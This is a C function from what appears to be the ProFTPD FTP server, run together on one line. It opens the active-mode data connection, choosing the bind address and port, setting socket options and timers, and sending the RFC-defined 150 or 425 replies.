static int data_active_open(char *reason, off_t size) { conn_t *c; int bind_port, rev; pr_netaddr_t *bind_addr; unsigned char *root_revoke = NULL; if (!reason && session.xfer.filename) reason = session.xfer.filename; if (pr_netaddr_get_family(session.c->local_addr) == pr_netaddr_get_family(session.c->remote_addr)) { bind_addr = session.c->local_addr; } else { /* In this scenario, the server has an IPv6 socket, but the remote client * is an IPv4 (or IPv4-mapped IPv6) peer. */ bind_addr = pr_netaddr_v6tov4(session.xfer.p, session.c->local_addr); } /* Default source port to which to bind for the active transfer, as * per RFC959. */ bind_port = session.c->local_port-1; /* A RootRevoke value of 0 indicates 'false', 1 indicates 'true', and * 2 indicates 'NonCompliantActiveTransfer'. We change the source port for * a RootRevoke value of 2. */ root_revoke = get_param_ptr(TOPLEVEL_CONF, "RootRevoke", FALSE); if (root_revoke != NULL && *root_revoke == 2) { bind_port = INPORT_ANY; } session.d = pr_inet_create_conn(session.pool, -1, bind_addr, bind_port, TRUE); /* Default remote address to which to connect for an active transfer, * if the client has not specified a different address via PORT/EPRT, * as per RFC 959. */ if (pr_netaddr_get_family(&session.data_addr) == AF_UNSPEC) { pr_log_debug(DEBUG6, "Client has not sent previous PORT/EPRT command, " "defaulting to %s#%u for active transfer", pr_netaddr_get_ipstr(session.c->remote_addr), session.c->remote_port); pr_netaddr_set_family(&session.data_addr, pr_netaddr_get_family(session.c->remote_addr)); pr_netaddr_set_sockaddr(&session.data_addr, pr_netaddr_get_sockaddr(session.c->remote_addr)); } /* Set the "stalled" timer, if any, to prevent the connection * open from taking too long */ if (timeout_stalled) { pr_timer_add(timeout_stalled, PR_TIMER_STALLED, NULL, stalled_timeout_cb, "TimeoutStalled"); } rev = pr_netaddr_set_reverse_dns(ServerUseReverseDNS); /* Protocol and socket options should be set before handshaking. */ if (session.xfer.direction == PR_NETIO_IO_RD) { pr_inet_set_socket_opts(session.d->pool, session.d, (main_server->tcp_rcvbuf_override ? main_server->tcp_rcvbuf_len : 0), 0, main_server->tcp_keepalive); } else { pr_inet_set_socket_opts(session.d->pool, session.d, 0, (main_server->tcp_sndbuf_override ? main_server->tcp_sndbuf_len : 0), main_server->tcp_keepalive); } /* Make sure that the necessary socket options are set on the socket prior * to the call to connect(2). */ pr_inet_set_proto_opts(session.pool, session.d, main_server->tcp_mss_len, 0, IPTOS_THROUGHPUT, 1); pr_inet_generate_socket_event("core.data-connect", main_server, session.d->local_addr, session.d->listen_fd); if (pr_inet_connect(session.d->pool, session.d, &session.data_addr, session.data_port) == -1) { pr_log_debug(DEBUG6, "Error connecting to %s#%u for active data transfer: %s", pr_netaddr_get_ipstr(&session.data_addr), session.data_port, strerror(session.d->xerrno)); pr_response_add_err(R_425, _("Unable to build data connection: %s"), strerror(session.d->xerrno)); errno = session.d->xerrno; destroy_pool(session.d->pool); session.d = NULL; return -1; } c = pr_inet_openrw(session.pool, session.d, NULL, PR_NETIO_STRM_DATA, session.d->listen_fd, -1, -1, TRUE); pr_netaddr_set_reverse_dns(rev); if (c) { pr_log_debug(DEBUG4, "active data connection opened - local : %s:%d", pr_netaddr_get_ipstr(session.d->local_addr), session.d->local_port); pr_log_debug(DEBUG4, "active data connection opened - remote : %s:%d", pr_netaddr_get_ipstr(session.d->remote_addr), session.d->remote_port); if (session.xfer.xfer_type != STOR_UNIQUE) { if (size) { pr_response_send(R_150, _("Opening %s mode data connection for %s " "(%" PR_LU " bytes)"), MODE_STRING, reason, (pr_off_t) size); } else { pr_response_send(R_150, _("Opening %s mode data connection for %s"), MODE_STRING, reason); } } else { /* Format of 150 responses for STOU is explicitly dictated by * RFC 1123: * * 4.1.2.9 STOU Command: RFC-959 Section 4.1.3 * * The STOU command stores into a uniquely named file. When it * receives an STOU command, a Server-FTP MUST return the * actual file name in the "125 Transfer Starting" or the "150 * Opening Data Connection" message that precedes the transfer * (the 250 reply code mentioned in RFC-959 is incorrect). The * exact format of these messages is hereby defined to be as * follows: * * 125 FILE: pppp * 150 FILE: pppp * * where pppp represents the unique pathname of the file that * will be written. */ pr_response_send(R_150, "FILE: %s", reason); } pr_inet_close(session.pool, session.d); pr_inet_set_nonblock(session.pool, session.d); session.d = c; return 0; } pr_response_add_err(R_425, _("Unable to build data connection: %s"), strerror(session.d->xerrno)); errno = session.d->xerrno; destroy_pool(session.d->pool); session.d = NULL; return -1; }